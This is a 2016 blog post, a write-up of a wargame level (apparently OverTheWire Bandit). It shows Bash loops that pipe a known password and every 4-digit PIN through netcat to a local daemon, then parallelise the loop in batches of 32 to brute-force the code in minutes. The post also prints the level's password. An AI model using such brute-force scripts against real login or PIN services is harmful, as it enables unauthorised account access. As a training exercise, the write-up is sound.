April 17th, 2016 · CTF Writeup

Parallelization of commands in Bash

Recently, I was spending my Sunday afternoon playing a wargame. I will not name the game or level, since you would otherwise be able to find the solution by searching for it, and that would be against the rules. Regardless, the level I reached had a daemon running on port 30002, which required a known input and another unknown 4-digit PIN code. The level description also notes that this is a brute-forcing challenge, and the only intended solution is trying all the 10000 combinations.

$ echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 1337 | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Exiting.

Since without the correct PIN code, I don't know what the string would be for the correct solution, I've decided to just check for the non-existence of "wrong," and hope the creators didn't phrase the correct string as "Congratulations, your solution is not wrong!"

#!/bin/bash
for a in {1..10000}; do
    echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $a | nc localhost 30002 | grep -q Wrong
    test $? -eq 1 && echo CORRECT PASS IS $a
done

By my estimates, this would take around 6 hours. Ain't nobody got time for that, I'm on a roll here!

It was obvious that the code is in serious need of some parallelization. Since I was too lazy to write a Go script to connect using multiple threads, the first thing I tried was using xargs, since it has some parallelization capabilities, however, I was unable to get it to play nice. Instead, I started researching on whether I can somehow parallelize this operation using only bash, since the suggested alternatives all required a 3rd-party application.

I quickly came upon this answer on StackExchange on how to parallelize in batches, and modified my script loop 10,000 iterations, parallelizing batches of 32:

#!/bin/bash
N=32
(
for a in {1..10000}; do
    ((i=i%N)); ((i++==0)) && wait && echo at $a
    (
        echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $a | nc localhost 30002 | grep -q Wrong;
        test $? -eq 1 && echo CORRECT PASS IS $a;
    )&
done
)

Boom, 5 minutes.